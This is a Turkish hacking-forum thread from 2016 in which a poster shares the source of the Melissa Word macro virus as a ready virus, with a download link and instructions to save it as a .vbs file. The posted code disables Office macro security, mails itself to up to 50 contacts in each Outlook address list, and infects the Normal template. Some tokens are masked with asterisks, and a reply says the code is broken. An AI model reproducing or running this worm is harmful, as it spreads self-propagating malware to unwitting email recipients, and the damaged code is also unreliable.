İPUCU

Trojan ve Virüsler Trojan ve Virüsler Hakkında Bilgiler.

Seçenekler

melisa virusu kaynak kodları indir vbs

01-03-2016 19:17
#1
Turkhavakuvvetleri - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
String;
Mesajlar:
1.357
Teşekkür (Etti):
64
Teşekkür (Aldı):
113
Konular:
207
sizin için derledim not defterini açın kodları yazın sonuna .vbs ekleyin virusunuz hazır

indirme linki:Dosya.tc - cretsiz, Hzl ve Kolay Dosya Paylam



Alıntı:
Private Sub ********_Open()
On Error Resume Next
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") <> ""
Then
CommandBars("Macro").Controls("Security...").Enabl ed = False
System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\W ord\Security", "Level") = 1&
Else
CommandBars("Tools").Controls("Macro").Enabled = False
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1):
Options.SaveNormalPrompt = (1 - 1)
End If
Dim UngaDasOutlook, DasMapiName, BreakUmOffASlice
Set UngaDasOutlook = CreateObject("Outlook.Application")
Set DasMapiName = UngaDasOutlook.GetNameSpace("MAPI")
If System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office", "Melissa?") <> "... by Kwyjibo"
Then
If UngaDasOutlook = "Outlook" Then
DasMapiName.Logon "profile", "password"
For y = 1 To DasMapiName.AddressLists.Count
Set AddyBook = DasMapiName.AddressLists(y)
x = 1
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
Peep = AddyBook.AddressEntries(x)
BreakUmOffASlice.Recipients.Add Peep
x = x + 1
If x > 50 Then oo = AddyBook.AddressEntries.Count
Next oo
BreakUmOffASlice.Subject = "Important Message From " &
Application.UserName
BreakUmOffASlice.Body = "Here is that ******** you asked for ... don't
show anyone else ;-)"
BreakUmOffASlice.Attachments.Add Active********.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office",
"Melissa?") = "... by Kwyjibo"
End If
Set ADI1 = Active********.VBProject.VBComponents.Item(1)
Set NTI1 = NormalTemplate.VBProject.VBComponents.Item(1)
NTCL = NTI1.CodeModule.CountOfLines
ADCL = ADI1.CodeModule.CountOfLines
BGN = 2
If ADI1.Name <> "Melissa" Then
If ADCL > 0 Then _
ADI1.CodeModule.DeleteLines 1, ADCL
Set ToInfect = ADI1
ADI1.Name = "Melissa"
DoAD = True
End If
If NTI1.Name <> "Melissa" Then
If NTCL > 0 Then _
NTI1.CodeModule.DeleteLines 1, NTCL
Set ToInfect = NTI1
NTI1.Name = "Melissa"
DoNT = True
End If
If DoNT <> True And DoAD <> True Then GoTo CYA
If DoNT = True Then
Do While ADI1.CodeModule.Lines(1, 1) = ""
ADI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Close()")
Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub ********_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, Active********.Name, "********") =
False) Then
Active********.SaveAs FileName:=Active********.FullName
ElseIf (InStr(1, Active********.Name, "********") <> False) Then
Active********.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText " Twenty-two points, plus
triple-word-score, plus fifty points for using all my letters. Game's over.
I'm outta here."
End Sub
Konu Turkhavakuvvetleri tarafından (01-03-2016 19:23 Saat 19:23 ) değiştirilmiştir. Sebep: fds

01-03-2016 19:19
#2
Mrjava - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
08/2015
Nereden:
Detroit
Mesajlar:
2.724
Teşekkür (Etti):
3056
Teşekkür (Aldı):
610
Konular:
93
siteye upload edip buraya atarsan daha iyi olur
01-03-2016 19:19
#3
Hacknology - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
10/2015
Nereden:
rm -rf /
Mesajlar:
2.709
Teşekkür (Etti):
946
Teşekkür (Aldı):
1227
Konular:
151
Derlemekten kastın ne? Senmi yazdın yoksa internetten mi buldun dostum tam anlaşılmamış
Kullanıcı İmzası
I surrender my soul
Odin hear my call

flag{Bur4si_b1r_0yun_park1}

hacknology@hacknologyroot:~/
01-03-2016 19:20
#4
Turkhavakuvvetleri - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
String;
Mesajlar:
1.357
Teşekkür (Etti):
64
Teşekkür (Aldı):
113
Konular:
207
Alıntı:
mrjava´isimli üyeden Alıntı Mesajı göster
siteye upload edip buraya atarsan daha iyi olur
internet hızım yavaş kendiniz virus total den tarata bilirsiniz
01-03-2016 19:20
#5
Turkhavakuvvetleri - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
String;
Mesajlar:
1.357
Teşekkür (Etti):
64
Teşekkür (Aldı):
113
Konular:
207
Alıntı:
Hacknology´isimli üyeden Alıntı Mesajı göster
Derlemekten kastın ne? Senmi yazdın yoksa internetten mi buldun dostum tam anlaşılmamış
bazı kodları değiştirdim
01-03-2016 19:21
#6
DR4K0L0L - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
02/2016
Mesajlar:
893
Teşekkür (Etti):
102
Teşekkür (Aldı):
301
Konular:
17
Arkadaşların sanırım açıklamak istediği şey bu değil. Demek istedikleri, kodlar bozulmuş. Bir Upload sitesine upload ederek, link olarak paylaşırsan daha iyi olur.
Kullanıcı İmzası
01-03-2016 19:22
#7
Mrjava - ait Kullanıcı Resmi (Avatar)
Tamamen Forumdan Uzaklaştırıldı
Üyelik tarihi:
08/2015
Nereden:
Detroit
Mesajlar:
2.724
Teşekkür (Etti):
3056
Teşekkür (Aldı):
610
Konular:
93
Alıntı:
Turkhavakuvvetleri´isimli üyeden Alıntı Mesajı göster
internet hızım yavaş kendiniz virus total den tarata bilirsiniz
virüstotale virüsün kaynak kodlarını mı taratayım ne bulmasını bekliyorsun ayrıca bu konu forumda mevcut ve kodların orjinal halini metin belgesiyle upload etsen daha iyi olur demek istemiştim
http://www.turkhackteam.org/trojan-v...irus-kodu.html
01-03-2016 19:23
#8
Turkhavakuvvetleri - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
String;
Mesajlar:
1.357
Teşekkür (Etti):
64
Teşekkür (Aldı):
113
Konular:
207
Alıntı:
mrjava´isimli üyeden Alıntı Mesajı göster
virüstotale virüsün kaynak kodlarını mı taratayım ne bulmasını bekliyorsun ayrıca bu konu forumda mevcut ve kodların orjinal halini metin belgesiyle upload etsen daha iyi olur demek istemiştim
http://www.turkhackteam.org/trojan-v...irus-kodu.html
rar dosyası olarak upload ettim
01-03-2016 19:24
#9
Turkhavakuvvetleri - ait Kullanıcı Resmi (Avatar)
Forumdan Uzaklaştırıldı
Üyelik tarihi:
02/2016
Nereden:
String;
Mesajlar:
1.357
Teşekkür (Etti):
64
Teşekkür (Aldı):
113
Konular:
207
indirme linki atılmıştır
01-03-2016 19:24
#10
RotaliAdam - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
12/2015
Nereden:
Aydın
Mesajlar:
424
Teşekkür (Etti):
112
Teşekkür (Aldı):
27
Konular:
98
Dostum bu ne virüsü
Kullanıcı İmzası
Ne Mutlu Türk'üm Diyene!

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı